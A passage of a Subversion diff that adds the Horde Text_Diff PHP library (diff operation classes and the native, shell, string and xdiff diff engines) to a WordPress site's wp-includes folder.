+    function Text_MappedDiff($from_lines, $to_lines,
+                             $mapped_from_lines, $mapped_to_lines)
+    {
+        assert(count($from_lines) == count($mapped_from_lines));
+        assert(count($to_lines) == count($mapped_to_lines));
+
+        parent::Text_Diff($mapped_from_lines, $mapped_to_lines);
+
+        $xi = $yi = 0;
+        for ($i = 0; $i < count($this->_edits); $i++) {
+            $orig = &$this->_edits[$i]->orig;
+            if (is_array($orig)) {
+                $orig = array_slice($from_lines, $xi, count($orig));
+                $xi += count($orig);
+            }
+
+            $final = &$this->_edits[$i]->final;
+            if (is_array($final)) {
+                $final = array_slice($to_lines, $yi, count($final));
+                $yi += count($final);
+            }
+        }
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op {
+
+    var $orig;
+    var $final;
+
+    function &reverse()
+    {
+        trigger_error('Abstract method', E_USER_ERROR);
+    }
+
+    function norig()
+    {
+        return $this->orig ? count($this->orig) : 0;
+    }
+
+    function nfinal()
+    {
+        return $this->final ? count($this->final) : 0;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_copy extends Text_Diff_Op {
+
+    function Text_Diff_Op_copy($orig, $final = false)
+    {
+        if (!is_array($final)) {
+            $final = $orig;
+        }
+        $this->orig = $orig;
+        $this->final = $final;
+    }
+
+    function &reverse()
+    {
+        $reverse = &new Text_Diff_Op_copy($this->final, $this->orig);
+        return $reverse;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_delete extends Text_Diff_Op {
+
+    function Text_Diff_Op_delete($lines)
+    {
+        $this->orig = $lines;
+        $this->final = false;
+    }
+
+    function &reverse()
+    {
+        $reverse = &new Text_Diff_Op_add($this->orig);
+        return $reverse;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_add extends Text_Diff_Op {
+
+    function Text_Diff_Op_add($lines)
+    {
+        $this->final = $lines;
+        $this->orig = false;
+    }
+
+    function &reverse()
+    {
+        $reverse = &new Text_Diff_Op_delete($this->final);
+        return $reverse;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_change extends Text_Diff_Op {
+
+    function Text_Diff_Op_change($orig, $final)
+    {
+        $this->orig = $orig;
+        $this->final = $final;
+    }
+
+    function &reverse()
+    {
+        $reverse = &new Text_Diff_Op_change($this->final, $this->orig);
+        return $reverse;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/native.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/native.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/native.php	(revision 44)
@@ -0,0 +1,437 @@
+<?php
+/**
+ * $Horde: framework/Text_Diff/Diff/Engine/native.php,v 1.10 2008/01/04 10:27:53 jan Exp $
+ *
+ * Class used internally by Text_Diff to actually compute the diffs. This
+ * class is implemented using native PHP code.
+ *
+ * The algorithm used here is mostly lifted from the perl module
+ * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
+ * http://www.perl.com/CPAN/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
+ *
+ * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
+ *
+ * Some ideas (and a bit of code) are taken from analyze.c, of GNU
+ * diffutils-2.7, which can be found at:
+ * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
+ *
+ * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
+ * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
+ * code was written by him, and is used/adapted with his permission.
+ *
+ * Copyright 2004-2008 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ * @package Text_Diff
+ */
+class Text_Diff_Engine_native {
+
+    function diff($from_lines, $to_lines)
+    {
+        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
+        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));
+
+        $n_from = count($from_lines);
+        $n_to = count($to_lines);
+
+        $this->xchanged = $this->ychanged = array();
+        $this->xv = $this->yv = array();
+        $this->xind = $this->yind = array();
+        unset($this->seq);
+        unset($this->in_seq);
+        unset($this->lcs);
+
+        // Skip leading common lines.
+        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
+            if ($from_lines[$skip] !== $to_lines[$skip]) {
+                break;
+            }
+            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
+        }
+
+        // Skip trailing common lines.
+        $xi = $n_from; $yi = $n_to;
+        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
+            if ($from_lines[$xi] !== $to_lines[$yi]) {
+                break;
+            }
+            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
+        }
+
+        // Ignore lines which do not exist in both files.
+        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
+            $xhash[$from_lines[$xi]] = 1;
+        }
+        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
+            $line = $to_lines[$yi];
+            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
+                continue;
+            }
+            $yhash[$line] = 1;
+            $this->yv[] = $line;
+            $this->yind[] = $yi;
+        }
+        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
+            $line = $from_lines[$xi];
+            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
+                continue;
+            }
+            $this->xv[] = $line;
+            $this->xind[] = $xi;
+        }
+
+        // Find the LCS.
+        $this->_compareseq(0, count($this->xv), 0, count($this->yv));
+
+        // Merge edits when possible.
+        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
+        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);
+
+        // Compute the edit operations.
+        $edits = array();
+        $xi = $yi = 0;
+        while ($xi < $n_from || $yi < $n_to) {
+            assert($yi < $n_to || $this->xchanged[$xi]);
+            assert($xi < $n_from || $this->ychanged[$yi]);
+
+            // Skip matching "snake".
+            $copy = array();
+            while ($xi < $n_from && $yi < $n_to
+                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
+                $copy[] = $from_lines[$xi++];
+                ++$yi;
+            }
+            if ($copy) {
+                $edits[] = &new Text_Diff_Op_copy($copy);
+            }
+
+            // Find deletes & adds.
+            $delete = array();
+            while ($xi < $n_from && $this->xchanged[$xi]) {
+                $delete[] = $from_lines[$xi++];
+            }
+
+            $add = array();
+            while ($yi < $n_to && $this->ychanged[$yi]) {
+                $add[] = $to_lines[$yi++];
+            }
+
+            if ($delete && $add) {
+                $edits[] = &new Text_Diff_Op_change($delete, $add);
+            } elseif ($delete) {
+                $edits[] = &new Text_Diff_Op_delete($delete);
+            } elseif ($add) {
+                $edits[] = &new Text_Diff_Op_add($add);
+            }
+        }
+
+        return $edits;
+    }
+
+    /**
+     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
+     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
+     * segments.
+     *
+     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
+     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
+     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
+     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
+     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
+     *
+     * This function assumes that the first lines of the specified portions of
+     * the two files do not match, and likewise that the last lines do not
+     * match.  The caller must trim matching lines from the beginning and end
+     * of the portions it is going to specify.
+     */
+    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
+    {
+        $flip = false;
+
+        if ($xlim - $xoff > $ylim - $yoff) {
+            /* Things seems faster (I'm not sure I understand why) when the
+             * shortest sequence is in X. */
+            $flip = true;
+            list ($xoff, $xlim, $yoff, $ylim)
+                = array($yoff, $ylim, $xoff, $xlim);
+        }
+
+        if ($flip) {
+            for ($i = $ylim - 1; $i >= $yoff; $i--) {
+                $ymatches[$this->xv[$i]][] = $i;
+            }
+        } else {
+            for ($i = $ylim - 1; $i >= $yoff; $i--) {
+                $ymatches[$this->yv[$i]][] = $i;
+            }
+        }
+
+        $this->lcs = 0;
+        $this->seq[0]= $yoff - 1;
+        $this->in_seq = array();
+        $ymids[0] = array();
+
+        $numer = $xlim - $xoff + $nchunks - 1;
+        $x = $xoff;
+        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
+            if ($chunk > 0) {
+                for ($i = 0; $i <= $this->lcs; $i++) {
+                    $ymids[$i][$chunk - 1] = $this->seq[$i];
+                }
+            }
+
+            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
+            for (; $x < $x1; $x++) {
+                $line = $flip ? $this->yv[$x] : $this->xv[$x];
+                if (empty($ymatches[$line])) {
+                    continue;
+                }
+                $matches = $ymatches[$line];
+                reset($matches);
+                while (list(, $y) = each($matches)) {
+                    if (empty($this->in_seq[$y])) {
+                        $k = $this->_lcsPos($y);
+                        assert($k > 0);
+                        $ymids[$k] = $ymids[$k - 1];
+                        break;
+                    }
+                }
+                while (list(, $y) = each($matches)) {
+                    if ($y > $this->seq[$k - 1]) {
+                        assert($y <= $this->seq[$k]);
+                        /* Optimization: this is a common case: next match is
+                         * just replacing previous match. */
+                        $this->in_seq[$this->seq[$k]] = false;
+                        $this->seq[$k] = $y;
+                        $this->in_seq[$y] = 1;
+                    } elseif (empty($this->in_seq[$y])) {
+                        $k = $this->_lcsPos($y);
+                        assert($k > 0);
+                        $ymids[$k] = $ymids[$k - 1];
+                    }
+                }
+            }
+        }
+
+        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
+        $ymid = $ymids[$this->lcs];
+        for ($n = 0; $n < $nchunks - 1; $n++) {
+            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
+            $y1 = $ymid[$n] + 1;
+            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
+        }
+        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);
+
+        return array($this->lcs, $seps);
+    }
+
+    function _lcsPos($ypos)
+    {
+        $end = $this->lcs;
+        if ($end == 0 || $ypos > $this->seq[$end]) {
+            $this->seq[++$this->lcs] = $ypos;
+            $this->in_seq[$ypos] = 1;
+            return $this->lcs;
+        }
+
+        $beg = 1;
+        while ($beg < $end) {
+            $mid = (int)(($beg + $end) / 2);
+            if ($ypos > $this->seq[$mid]) {
+                $beg = $mid + 1;
+            } else {
+                $end = $mid;
+            }
+        }
+
+        assert($ypos != $this->seq[$end]);
+
+        $this->in_seq[$this->seq[$end]] = false;
+        $this->seq[$end] = $ypos;
+        $this->in_seq[$ypos] = 1;
+        return $end;
+    }
+
+    /**
+     * Finds LCS of two sequences.
+     *
+     * The results are recorded in the vectors $this->{x,y}changed[], by
+     * storing a 1 in the element for each line that is an insertion or
+     * deletion (ie. is not in the LCS).
+     *
+     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
+     *
+     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
+     * origin-0 and discarded lines are not counted.
+     */
+    function _compareseq ($xoff, $xlim, $yoff, $ylim)
+    {
+        /* Slide down the bottom initial diagonal. */
+        while ($xoff < $xlim && $yoff < $ylim
+               && $this->xv[$xoff] == $this->yv[$yoff]) {
+            ++$xoff;
+            ++$yoff;
+        }
+
+        /* Slide up the top initial diagonal. */
+        while ($xlim > $xoff && $ylim > $yoff
+               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
+            --$xlim;
+            --$ylim;
+        }
+
+        if ($xoff == $xlim || $yoff == $ylim) {
+            $lcs = 0;
+        } else {
+            /* This is ad hoc but seems to work well.  $nchunks =
+             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
+             * max(2,min(8,(int)$nchunks)); */
+            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
+            list($lcs, $seps)
+                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
+        }
+
+        if ($lcs == 0) {
+            /* X and Y sequences have no common subsequence: mark all
+             * changed. */
+            while ($yoff < $ylim) {
+                $this->ychanged[$this->yind[$yoff++]] = 1;
+            }
+            while ($xoff < $xlim) {
+                $this->xchanged[$this->xind[$xoff++]] = 1;
+            }
+        } else {
+            /* Use the partitions to split this problem into subproblems. */
+            reset($seps);
+            $pt1 = $seps[0];
+            while ($pt2 = next($seps)) {
+                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
+                $pt1 = $pt2;
+            }
+        }
+    }
+
+    /**
+     * Adjusts inserts/deletes of identical lines to join changes as much as
+     * possible.
+     *
+     * We do something when a run of changed lines include a line at one end
+     * and has an excluded, identical line at the other.  We are free to
+     * choose which identical line is included.  `compareseq' usually chooses
+     * the one at the beginning, but usually it is cleaner to consider the
+     * following identical line to be the "change".
+     *
+     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
+     */
+    function _shiftBoundaries($lines, &$changed, $other_changed)
+    {
+        $i = 0;
+        $j = 0;
+
+        assert('count($lines) == count($changed)');
+        $len = count($lines);
+        $other_len = count($other_changed);
+
+        while (1) {
+            /* Scan forward to find the beginning of another run of
+             * changes. Also keep track of the corresponding point in the
+             * other file.
+             *
+             * Throughout this code, $i and $j are adjusted together so that
+             * the first $i elements of $changed and the first $j elements of
+             * $other_changed both contain the same number of zeros (unchanged
+             * lines).
+             *
+             * Furthermore, $j is always kept so that $j == $other_len or
+             * $other_changed[$j] == false. */
+            while ($j < $other_len && $other_changed[$j]) {
+                $j++;
+            }
+
+            while ($i < $len && ! $changed[$i]) {
+                assert('$j < $other_len && ! $other_changed[$j]');
+                $i++; $j++;
+                while ($j < $other_len && $other_changed[$j]) {
+                    $j++;
+                }
+            }
+
+            if ($i == $len) {
+                break;
+            }
+
+            $start = $i;
+
+            /* Find the end of this run of changes. */
+            while (++$i < $len && $changed[$i]) {
+                continue;
+            }
+
+            do {
+                /* Record the length of this run of changes, so that we can
+                 * later determine whether the run has grown. */
+                $runlength = $i - $start;
+
+                /* Move the changed region back, so long as the previous
+                 * unchanged line matches the last changed one.  This merges
+                 * with previous changed regions. */
+                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
+                    $changed[--$start] = 1;
+                    $changed[--$i] = false;
+                    while ($start > 0 && $changed[$start - 1]) {
+                        $start--;
+                    }
+                    assert('$j > 0');
+                    while ($other_changed[--$j]) {
+                        continue;
+                    }
+                    assert('$j >= 0 && !$other_changed[$j]');
+                }
+
+                /* Set CORRESPONDING to the end of the changed run, at the
+                 * last point where it corresponds to a changed run in the
+                 * other file. CORRESPONDING == LEN means no such point has
+                 * been found. */
+                $corresponding = $j < $other_len ? $i : $len;
+
+                /* Move the changed region forward, so long as the first
+                 * changed line matches the following unchanged one.  This
+                 * merges with following changed regions.  Do this second, so
+                 * that if there are no merges, the changed region is moved
+                 * forward as far as possible. */
+                while ($i < $len && $lines[$start] == $lines[$i]) {
+                    $changed[$start++] = false;
+                    $changed[$i++] = 1;
+                    while ($i < $len && $changed[$i]) {
+                        $i++;
+                    }
+
+                    assert('$j < $other_len && ! $other_changed[$j]');
+                    $j++;
+                    if ($j < $other_len && $other_changed[$j]) {
+                        $corresponding = $i;
+                        while ($j < $other_len && $other_changed[$j]) {
+                            $j++;
+                        }
+                    }
+                }
+            } while ($runlength != $i - $start);
+
+            /* If possible, move the fully-merged run of changes back to a
+             * corresponding run in the other file. */
+            while ($corresponding < $i) {
+                $changed[--$start] = 1;
+                $changed[--$i] = 0;
+                assert('$j > 0');
+                while ($other_changed[--$j]) {
+                    continue;
+                }
+                assert('$j >= 0 && !$other_changed[$j]');
+            }
+        }
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/shell.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/shell.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/shell.php	(revision 44)
@@ -0,0 +1,164 @@
+<?php
+/**
+ * Class used internally by Diff to actually compute the diffs.
+ *
+ * This class uses the Unix `diff` program via shell_exec to compute the
+ * differences between the two input arrays.
+ *
+ * $Horde: framework/Text_Diff/Diff/Engine/shell.php,v 1.8 2008/01/04 10:07:50 jan Exp $
+ *
+ * Copyright 2007-2008 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Milian Wolff <mail@milianw.de>
+ * @package Text_Diff
+ * @since   0.3.0
+ */
+class Text_Diff_Engine_shell {
+
+    /**
+     * Path to the diff executable
+     *
+     * @var string
+     */
+    var $_diffCommand = 'diff';
+
+    /**
+     * Returns the array of differences.
+     *
+     * @param array $from_lines lines of text from old file
+     * @param array $to_lines   lines of text from new file
+     *
+     * @return array all changes made (array with Text_Diff_Op_* objects)
+     */
+    function diff($from_lines, $to_lines)
+    {
+        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
+        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));
+
+        $temp_dir = Text_Diff::_getTempDir();
+
+        // Execute gnu diff or similar to get a standard diff file.
+        $from_file = tempnam($temp_dir, 'Text_Diff');
+        $to_file = tempnam($temp_dir, 'Text_Diff');
+        $fp = fopen($from_file, 'w');
+        fwrite($fp, implode("\n", $from_lines));
+        fclose($fp);
+        $fp = fopen($to_file, 'w');
+        fwrite($fp, implode("\n", $to_lines));
+        fclose($fp);
+        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
+        unlink($from_file);
+        unlink($to_file);
+
+        if (is_null($diff)) {
+            // No changes were made
+            return array(new Text_Diff_Op_copy($from_lines));
+        }
+
+        $from_line_no = 1;
+        $to_line_no = 1;
+        $edits = array();
+
+        // Get changed lines by parsing something like:
+        // 0a1,2
+        // 1,2c4,6
+        // 1,5d6
+        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
+            $matches, PREG_SET_ORDER);
+
+        foreach ($matches as $match) {
+            if (!isset($match[5])) {
+                // This paren is not set every time (see regex).
+                $match[5] = false;
+            }
+
+            if ($match[3] == 'a') {
+                $from_line_no--;
+            }
+
+            if ($match[3] == 'd') {
+                $to_line_no--;
+            }
+
+            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
+                // copied lines
+                assert('$match[1] - $from_line_no == $match[4] - $to_line_no');
+                array_push($edits,
+                    new Text_Diff_Op_copy(
+                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
+                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
+            }
+
+            switch ($match[3]) {
+            case 'd':
+                // deleted lines
+                array_push($edits,
+                    new Text_Diff_Op_delete(
+                        $this->_getLines($from_lines, $from_line_no, $match[2])));
+                $to_line_no++;
+                break;
+
+            case 'c':
+                // changed lines
+                array_push($edits,
+                    new Text_Diff_Op_change(
+                        $this->_getLines($from_lines, $from_line_no, $match[2]),
+                        $this->_getLines($to_lines, $to_line_no, $match[5])));
+                break;
+
+            case 'a':
+                // added lines
+                array_push($edits,
+                    new Text_Diff_Op_add(
+                        $this->_getLines($to_lines, $to_line_no, $match[5])));
+                $from_line_no++;
+                break;
+            }
+        }
+
+        if (!empty($from_lines)) {
+            // Some lines might still be pending. Add them as copied
+            array_push($edits,
+                new Text_Diff_Op_copy(
+                    $this->_getLines($from_lines, $from_line_no,
+                                     $from_line_no + count($from_lines) - 1),
+                    $this->_getLines($to_lines, $to_line_no,
+                                     $to_line_no + count($to_lines) - 1)));
+        }
+
+        return $edits;
+    }
+
+    /**
+     * Get lines from either the old or new text
+     *
+     * @access private
+     *
+     * @param array &$text_lines Either $from_lines or $to_lines
+     * @param int   &$line_no    Current line number
+     * @param int   $end         Optional end line, when we want to chop more
+     *                           than one line.
+     *
+     * @return array The chopped lines
+     */
+    function _getLines(&$text_lines, &$line_no, $end = false)
+    {
+        if (!empty($end)) {
+            $lines = array();
+            // We can shift even more
+            while ($line_no <= $end) {
+                array_push($lines, array_shift($text_lines));
+                $line_no++;
+            }
+        } else {
+            $lines = array(array_shift($text_lines));
+            $line_no++;
+        }
+
+        return $lines;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/string.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/string.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/string.php	(revision 44)
@@ -0,0 +1,234 @@
+<?php
+/**
+ * Parses unified or context diffs output from eg. the diff utility.
+ *
+ * Example:
+ * <code>
+ * $patch = file_get_contents('example.patch');
+ * $diff = new Text_Diff('string', array($patch));
+ * $renderer = new Text_Diff_Renderer_inline();
+ * echo $renderer->render($diff);
+ * </code>
+ *
+ * $Horde: framework/Text_Diff/Diff/Engine/string.php,v 1.7 2008/01/04 10:07:50 jan Exp $
+ *
+ * Copyright 2005 Örjan Persson <o@42mm.org>
+ * Copyright 2005-2008 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Örjan Persson <o@42mm.org>
+ * @package Text_Diff
+ * @since   0.2.0
+ */
+class Text_Diff_Engine_string {
+
+    /**
+     * Parses a unified or context diff.
+     *
+     * First param contains the whole diff and the second can be used to force
+     * a specific diff type. If the second parameter is 'autodetect', the
+     * diff will be examined to find out which type of diff this is.
+     *
+     * @param string $diff  The diff content.
+     * @param string $mode  The diff mode of the content in $diff. One of
+     *                      'context', 'unified', or 'autodetect'.
+     *
+     * @return array  List of all diff operations.
+     */
+    function diff($diff, $mode = 'autodetect')
+    {
+        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
+            return PEAR::raiseError('Type of diff is unsupported');
+        }
+
+        if ($mode == 'autodetect') {
+            $context = strpos($diff, '***');
+            $unified = strpos($diff, '---');
+            if ($context === $unified) {
+                return PEAR::raiseError('Type of diff could not be detected');
+            } elseif ($context === false || $context === false) {
+                $mode = $context !== false ? 'context' : 'unified';
+            } else {
+                $mode = $context < $unified ? 'context' : 'unified';
+            }
+        }
+
+        // split by new line and remove the diff header
+        $diff = explode("\n", $diff);
+        array_shift($diff);
+        array_shift($diff);
+
+        if ($mode == 'context') {
+            return $this->parseContextDiff($diff);
+        } else {
+            return $this->parseUnifiedDiff($diff);
+        }
+    }
+
+    /**
+     * Parses an array containing the unified diff.
+     *
+     * @param array $diff  Array of lines.
+     *
+     * @return array  List of all diff operations.
+     */
+    function parseUnifiedDiff($diff)
+    {
+        $edits = array();
+        $end = count($diff) - 1;
+        for ($i = 0; $i < $end;) {
+            $diff1 = array();
+            switch (substr($diff[$i], 0, 1)) {
+            case ' ':
+                do {
+                    $diff1[] = substr($diff[$i], 1);
+                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
+                $edits[] = &new Text_Diff_Op_copy($diff1);
+                break;
+
+            case '+':
+                // get all new lines
+                do {
+                    $diff1[] = substr($diff[$i], 1);
+                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
+                $edits[] = &new Text_Diff_Op_add($diff1);
+                break;
+
+            case '-':
+                // get changed or removed lines
+                $diff2 = array();
+                do {
+                    $diff1[] = substr($diff[$i], 1);
+                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');
+
+                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
+                    $diff2[] = substr($diff[$i++], 1);
+                }
+                if (count($diff2) == 0) {
+                    $edits[] = &new Text_Diff_Op_delete($diff1);
+                } else {
+                    $edits[] = &new Text_Diff_Op_change($diff1, $diff2);
+                }
+                break;
+
+            default:
+                $i++;
+                break;
+            }
+        }
+
+        return $edits;
+    }
+
+    /**
+     * Parses an array containing the context diff.
+     *
+     * @param array $diff  Array of lines.
+     *
+     * @return array  List of all diff operations.
+     */
+    function parseContextDiff(&$diff)
+    {
+        $edits = array();
+        $i = $max_i = $j = $max_j = 0;
+        $end = count($diff) - 1;
+        while ($i < $end && $j < $end) {
+            while ($i >= $max_i && $j >= $max_j) {
+                // Find the boundaries of the diff output of the two files
+                for ($i = $j;
+                     $i < $end && substr($diff[$i], 0, 3) == '***';
+                     $i++);
+                for ($max_i = $i;
+                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
+                     $max_i++);
+                for ($j = $max_i;
+                     $j < $end && substr($diff[$j], 0, 3) == '---';
+                     $j++);
+                for ($max_j = $j;
+                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
+                     $max_j++);
+            }
+
+            // find what hasn't been changed
+            $array = array();
+            while ($i < $max_i &&
+                   $j < $max_j &&
+                   strcmp($diff[$i], $diff[$j]) == 0) {
+                $array[] = substr($diff[$i], 2);
+                $i++;
+                $j++;
+            }
+
+            while ($i < $max_i && ($max_j-$j) <= 1) {
+                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
+                    break;
+                }
+                $array[] = substr($diff[$i++], 2);
+            }
+
+            while ($j < $max_j && ($max_i-$i) <= 1) {
+                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
+                    break;
+                }
+                $array[] = substr($diff[$j++], 2);
+            }
+            if (count($array) > 0) {
+                $edits[] = &new Text_Diff_Op_copy($array);
+            }
+
+            if ($i < $max_i) {
+                $diff1 = array();
+                switch (substr($diff[$i], 0, 1)) {
+                case '!':
+                    $diff2 = array();
+                    do {
+                        $diff1[] = substr($diff[$i], 2);
+                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
+                            $diff2[] = substr($diff[$j++], 2);
+                        }
+                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
+                    $edits[] = &new Text_Diff_Op_change($diff1, $diff2);
+                    break;
+
+                case '+':
+                    do {
+                        $diff1[] = substr($diff[$i], 2);
+                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
+                    $edits[] = &new Text_Diff_Op_add($diff1);
+                    break;
+
+                case '-':
+                    do {
+                        $diff1[] = substr($diff[$i], 2);
+                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
+                    $edits[] = &new Text_Diff_Op_delete($diff1);
+                    break;
+                }
+            }
+
+            if ($j < $max_j) {
+                $diff2 = array();
+                switch (substr($diff[$j], 0, 1)) {
+                case '+':
+                    do {
+                        $diff2[] = substr($diff[$j++], 2);
+                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
+                    $edits[] = &new Text_Diff_Op_add($diff2);
+                    break;
+
+                case '-':
+                    do {
+                        $diff2[] = substr($diff[$j++], 2);
+                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
+                    $edits[] = &new Text_Diff_Op_delete($diff2);
+                    break;
+                }
+            }
+        }
+
+        return $edits;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/xdiff.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/xdiff.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/Text/Diff/Engine/xdiff.php	(revision 44)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Class used internally by Diff to actually compute the diffs.
+ *
+ * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
+ * to compute the differences between the two input arrays.
+ *
+ * $Horde: framework/Text_Diff/Diff/Engine/xdiff.php,v 1.6 2008/01/04 10:07:50 jan Exp $
+ *
+ * Copyright 2004-2008 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Jon Parise <jon@horde.org>
+ * @package Text_Diff
+ */
+class Text_Diff_Engine_xdiff {
+
+    /**
+     */
+    function diff($from_lines, $to_lines)
+    {
+        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
+        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));
+
+        /* Convert the two input arrays into strings for xdiff processing. */
+        $from_string = implode("\n", $from_lines);
+        $to_string = implode("\n", $to_lines);
+
+        /* Diff the two strings and convert the result to an array. */
+        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
+        $diff = explode("\n", $diff);
+
+        /* Walk through the diff one line at a time.  We build the $edits
+         * array of diff operations by reading the first character of the
+         * xdiff output (which is in the "unified diff" format).
+         *
+         * Note that we don't have enough information to detect "changed"
+         * lines using this approach, so we can't add Text_Diff_Op_changed
+         * instances to the $edits array.  The result is still perfectly
+         * valid, albeit a little less descriptive and efficient. */
+        $edits = array();
+        foreach ($diff as $line) {
+            switch ($line[0]) {
+            case ' ':
+                $edits[] = &new Text_Diff_Op_copy(array(substr($line, 1)));
+                break;
+
+            case '+':
+                $edits[] = &new Text_Diff_Op_add(array(substr($line, 1)));
+                break;
+
+            case '-':
+                $edits[] = &new Text_Diff_Op_delete(array(substr($line, 1)));
+                break;
+            }
+        }
+
+        return $edits;
+    }
+
+}
